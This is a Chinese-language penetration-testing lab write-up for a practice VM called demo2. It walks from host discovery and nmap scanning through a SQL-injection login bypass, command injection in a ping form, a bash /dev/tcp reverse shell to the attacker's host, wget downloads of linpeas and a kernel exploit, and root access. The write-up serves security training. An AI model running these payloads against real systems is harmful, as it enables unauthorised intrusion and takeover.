demo_2打靶

1.5k words

第 2 次打靶实验:对demo2进行靶机渗透测试并获得 root 权限

一、实验目的

取得目标靶机的 root 权限。
将使用主机发现、端口扫描等攻击手段。


二、实验内容

1) 主机发现

首先执行命令:

1
2
sudo -i
arp-scan -l

由此可以得到目标主机地址大概率就是 10.0.2.15


2) 端口发现与扫描

10.0.2.15 的端口进行扫描(进一步验证是否为靶机;如不需节省时间也可 nmap -p- 10.0.2.15):

1
nmap 10.0.2.15

发现开放端口里有 Web 服务 → 进一步确认它就是靶机。
然后对靶机进行服务探测来确定每个端口的服务类型与版本:

1
nmap -p22,80,111,443,631,3306 -sV 10.0.2.15


3) Web 渗透

发现 80 端口开放,于是先访问 10.0.2.15。在 Kali 的 Firefox 中进入该地址,启动代理插件并打开 Burp Suite,开启 Proxy 中的 Intercept(on),任意输入用户名和密码后 Submit:

在 Burp Suite 中可见拦截内容:

将该请求保存为 sqlmap 文件(用于重放)。执行以下命令以发现漏洞:

1
sqlmap -r sqlmap --level 4 --risk 3

检测到单引号相关问题后,在网页登录处用户名输入:

1
'or 1=1 #

点击 login 进入系统。页面实现为 ping 功能,输入:

1
10.0.2.4

Submit 后结果与本机 ping 类似,推测使用了命令行工具处理请求。随后尝试:

1
;whoami

Submit 后显示用户名为 apache,说明存在任意命令执行。继续:

1
whereis bash

成功返回,说明靶机存在 bash。改为反弹:

1
bash -i >& /dev/tcp/10.0.2.4/4444 0>&1

需要先在 Kali 监听 4444 端口:

1
nc -nvlp 4444

回到浏览器 Submit,即可获得靶机 shell(成功登录):


4) 提权

在 Kali 下载 Linux 提权扫描脚本,并传到靶机。使用 Python 启动 Web Server:

在靶机侧使用命令行从本机 Web 服务器下载到可写目录 /tmp

1
2
cd /tmp
wget http://10.0.2.4:8000/linpeas.sh

赋予执行权限:

1
chmod a+x linpeas.sh

执行脚本进行探测:

可见部分系统信息:

从中发现靶机为较老的 CentOS。停止 8000 端口服务后进行检索(或上网站查询):

1
searchsploit Linux 2.6 centos

得到:

靶机内核为 2.6.9,满足第一条条件。先将 9545.c 下载到本机:

1
searchsploit -m 9545

再次用 Python 启动 Web Server。
在靶机侧进入 /tmp 并下载:

1
wget http://10.0.2.4/9545.c

编译并执行 9545.c,再运行:

1
whoami

成功获得 root


三、实验结果

通过攻击机 Kali Linux 对靶机 demo 2 进行渗透测试,并成功获得 root 权限:


四、实验中遇到的问题及解决方案

问题:9545.c 下载到 Kali 后无法下载到靶机。
解决: 起初 Web Server 与进入靶机命令行的位置不同,导致可连接但找不到文件;重启 Web 服务后恢复。同时一开始未在 /tmp 下执行 wget 导致失败,切换到 /tmp 后成功。


五、实验的启示 / 意见和建议

  • 巩固了靶机渗透流程:先端口与服务识别并验证行为;获得低权限 shell 后再提权。
  • 本次在 80 端口处发现任意命令执行,通过反向连接获取普通用户权限。
  • .c 漏洞利用程序存在不确定性,多尝试可提升成功率。

Comments